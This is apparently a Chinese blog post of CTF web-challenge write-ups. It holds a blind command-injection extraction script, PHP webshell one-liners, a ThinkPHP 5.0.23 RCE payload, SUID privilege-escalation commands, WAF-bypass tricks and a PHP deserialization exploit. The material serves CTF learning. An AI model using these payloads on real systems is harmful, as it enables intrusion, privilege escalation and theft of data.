        get_len_payload=base_payload.format((len(get_len_cmd)),get_len_cmd)
        data['payload']=get_len_payload
        if condition(url,data):
            flag_len=i
            print(f"长度为{i}")
    for i in range(1,flag_len):
        for k in str_list:
            get_flagname_cmd='if [ `ls {} | sed -n \'/flag/p\' | cut -c {}` = {} ];then sleep 2;fi'.format(catalog,i,k)
            get_flagname_payload=base_payload.format((len(get_flagname_cmd)),get_flagname_cmd)
            data['payload']=get_flagname_payload
            if condition(url,data):
               flag_name+=k
               print(flag_name)
    print(f"发现了flag: {flag_name}")
    #获取内容
    for i in range(1,70):
        for k in str_list:
            get_flag_cmd='if [ `cat {}{} | cut -c {}` = {} ];then sleep 2;fi'.format(catalog,flag_name,i,(k))
            # print(get_flag_cmd)
            get_flag_payload=base_payload.format(len(get_flag_cmd),get_flag_cmd)
            data['payload']=get_flag_payload
            if condition(url,data):
                flag+=k
                print(flag)
               
try_flag()
# print(str_list)

省略了获取flag文件内容字符的过程,直接1到70,只要前面的能爆出来就ok,不影响

访问太多,容易报错,而且不知道为啥 {}没有盲出来

NewStar2023 So Baby RCE Again

源码:

php 复制代码
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/bash|curl/i',$_GET["cmd"])){
        echo "Hacker!";
    }else{
        shell_exec($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

无回显,尝试 ls / | tee /var/www/html/a,写入,访问a发现有结果

尝试 cat /ffll444aaggg | tee /var/www/html/b,但是访问b,没有结果,估计权限有问题,写个一句话拿shell看看

复制代码
?cmd=echo "<%3fphp echo 'hello';@eval(\$_POST[cmd]);%3f>" > shell.php

写入成功,蚁剑连接,看看flag文件的权限

果然是权限不够,尝试suid提权,看看什么命令有suid root权限

date就有,直接date -f读取即可

NewStar2023 Final

一打开是thinkphp的首页,输入s=1,报错看版本信息

是5.0.23,使用对应的poc

复制代码
get:/?s=captcha
post:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

但是没有回显命令的结果,估计是system被ban了,看一下phpinfo

复制代码
post:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=15

phpinfo()函数其实是可以传一个整数参数进去的,随便传个

果然被ban了,用exec写个一句话

复制代码
_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo '<?php echo "hello";@eval($_POST[cmd]);?>' > shell.php 

蚁剑链接,发现没有权限去读flag

尝试suid提权

shell 复制代码
find / -user root -perm -4000 -print 2>/dev/null

cp有suid权限,直接cp /flag_dd3f6380aa0d /dev/stdout

在上网找资料的同时,还发现了thinkphp rce漏洞的自动化利用工具,https://github.com/Lotus6/ThinkphpGUI

是java工具,进入release下载jar包就可运行

不过写一句话getshell这里失败,估计也是用system实现的

xyctf:ez?make

过滤了f,l,a,g,?*;用16进制绕过

复制代码
echo "636174206d616b6566696c652e706870" | xxd -r -p|sh
把十六进制数据用xxd转为二进制,再用shell执行

源码:

php 复制代码
<?php
function waf($cmd) {
	if (preg_match('/\n|\r|f|l|a|g|\?|\*|\;|\/|source|SOURCE|\$|\@/',$cmd)){
        return false;
    }
    return $cmd;
}

$cmd = waf($_GET['cmd']);

if ($cmd === false) {
    echo json_encode(array('makefileContent' => 'failed', 'output' => 'no'));
} else {
    $makefileContent = <<<EOD
SHELL := /bin/bash
.PHONY: FLAG
FLAG: /flag
\t$cmd
EOD;

    if (file_put_contents('Makefile', $makefileContent) !== false) {
        $command = "make -f Makefile 2>&1";
        $output = shell_exec($command);
        echo json_encode(array('makefileContent' => $makefileContent, 'output' => $output));
    } else {
        echo json_encode(array('makefileContent' => 'failed', 'output' => 'failed'));
    }
}
?>

xyctf:ezmakefile

用makefile执行系统命令的语法,如: ${shell,ls}

源码:

php 复制代码
<?php
// 定义一个函数用于简单的命令注入防御
function waf($cmd) {
    // 使用正则表达式检查命令中是否包含一些特殊字符
    if (preg_match('/\/|\n|\r|\;|\|/i', $cmd)) {
        // 如果命令中包含了特殊字符,则返回 false,表示命令不安全
        return false;
    }
    // 如果命令安全,则直接返回命令
    return $cmd;
}

// 从 GET 请求中获取命令参数,并通过 waf() 函数进行检查
$cmd = waf($_GET['cmd']);

// 如果命令不安全,则返回错误信息
if ($cmd === false) {
    echo json_encode(array('makefileContent' => 'failed', 'output' => 'nonono'));
} else {
    // 如果命令安全,则构造 Makefile 内容
    $makefileContent = <<<EOD
# Makefile 内容:
# 设置 shell 解释器为 /bin/bash
SHELL := /bin/bash

# 如果环境变量 PATH 未定义,则重新定义为空字符串
ifndef PATH
override PATH :=
else
override PATH :=
endif

# 声明伪目标 FLAG,用于确保 Makefile 中的命令总是被执行
.PHONY: FLAG

# 定义 FLAG 目标,依赖于 ./flag 文件和用户输入的命令
FLAG: ./flag \t$cmd
EOD;

    // 将生成的 Makefile 内容写入 Makefile 文件中
    if (file_put_contents('Makefile', $makefileContent) !== false) {
        // 构造执行命令
        $command = "make -f Makefile 2>&1";
        // 使用 shell_exec() 函数执行命令,并捕获执行结果
        $output = shell_exec($command);
        // 返回生成的 Makefile 内容和执行结果
        echo json_encode(array('makefileContent' => $makefileContent, 'output' => $output));
    } else {
        // 如果写入文件失败,则返回错误信息
        echo json_encode(array('makefileContent' => 'failed', 'output' => 'failed'));
    }
}
?>

xyctf 牢大

题目源码:

php 复制代码
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
    if (strlen($cmd) > 13) {
        die("see you again~");
    }
    if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
        die("肘死你");
    }
    foreach ($_GET as $val_name => $val_val) {
        if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
            return "what can i say";
        }
    }
    return $cmd;
}
$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd  . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

对cmd参数进行了过滤,用eval,但过滤了system,明显是无回显rce,而且长度有限制,只能用反引号执行命令

而且对长度有限制,只ban了fla,没有g、$,很明显可以用get参数逃逸对长度的限制

前面加了#,我们使用%0a,即换行绕过,因为#是单行注释,后面的manbaout可以用%23,即#注释掉,所以现在传的参数大概如下

复制代码
?cmd=%0a`$_GET[b]`;%23&b=

看第二个过滤,其实已经提示了可以用cp或mv把flag带过来,但是路径表示不出来,后面看wp才发现,路径原来也能用通配符匹配

复制代码
%0a`$_GET[b]`;%23&b=c''p /[e-g][k-m][0-b][e-h] /v[0-b]r/www/htm[j-m]

访问/flag即可得到flag

xyctf ezpop

源码

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
    public $s;
    public $a;
    public function __toString()
    {
        echo "you get 2 A <br>";
        $p = $this->a;
        return $this->s->$p;
    }
}

class BBB
{
    public $c;
    public $d;
    public function __get($name)
    {
        echo "you get 2 B <br>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        call_user_func($a,$b)($c)($d);
    }
}

class CCC
{
    public $c;

    public function __destruct()
    {
        echo "you get 2 C <br>";
        echo $this->c;
    }
}

if(isset($_GET['xy'])) {
    $a = unserialize($_GET['xy']);
    throw new Exception("noooooob!!!");
}

pop链很简单,异常也可以fast-destruct绕过,问题在于call_user_func如何让他套娃调用执行命令

php 复制代码
call_user_func($a,$b)($c)($d);

已知$b是POST数组,所以$a要是操作数组的方法

想要出现system('ls')的情况,$d设为ls即可,但是system怎么来呢?如果直接通过$a方法从$_POST中取出system,也是不行的,因为还有个$c

可以使用hex2bin方法,想办法在POST数组取出hex2bin,然后$c设为system的十六进制编码,执行完call_user_func($a,$b)($c)结果即为system,就能执行$d的命令了

所以exp:

php 复制代码
<?php
error_reporting(0);
class AAA
{
    public $s;
    public $a;
}
class BBB
{
    public $c;
    public $d;
}
class CCC
{
    public $c;
}
$obj=new CCC();
$obj->c=new AAA();
$obj->c->s=new BBB();
$obj->c->s->c='73797374656d';
$obj->c->s->d='cat /flag';
echo (serialize($obj));
# 去掉结尾的一个},破坏序列化结构,
#O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:12:"73797374656d";s:1:"d";s:9:"cat /flag";}s:1:"a";N;}
?>

post传

复制代码
a=current&b=hex2bin

post中a赋值给$a后,就会被删除,所以直接current就能取到第一个元素b的值hex2bin

Dest0g3 520迎新赛SimpleRCE

php 复制代码
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

过滤了很多,尝试编码,拼接,\ .都被ban了

尝试hex2bin可以执行命令

php 复制代码
hex2bin('73797374656d')(hex2bin('6c73202f')); #system('ls /');

后面直接读取flag即可

相关推荐
什巳1 小时前
JAVA练习278- 和为 K 的子数组
java·学习·算法·leetcode
碎光拾影2 小时前
CPU与MCU核心区别揭秘
单片机·学习·51单片机
我命由我123453 小时前
复利极简理解
经验分享·笔记·学习·职场和发展·求职招聘·职场发展·学习方法
AOwhisky4 小时前
Python 学习笔记(第三期)——流程控制核心知识点自测与详解
开发语言·笔记·python·学习·云原生·运维开发·流程控制
tyqtyq224 小时前
药品说明书解读 —— AI 安全用药助手,鸿蒙原生应用深度解析
人工智能·学习·华为·生活·harmonyos
小心亦新5 小时前
STM32学习13 定时器1中断
stm32·嵌入式硬件·学习
我命由我123455 小时前
72 法则极简理解
经验分享·笔记·学习·职场和发展·求职招聘·职场发展·学习方法
qq_263_tohua6 小时前
第112期 CNN学习,不错的文章
学习
我想我不够好。6 小时前
满级的惩戒在范围
学习
LiaoWL1236 小时前
【SpringCloud合集-04】Sentinel 流量控制与熔断降级 学习笔记
学习·spring cloud·sentinel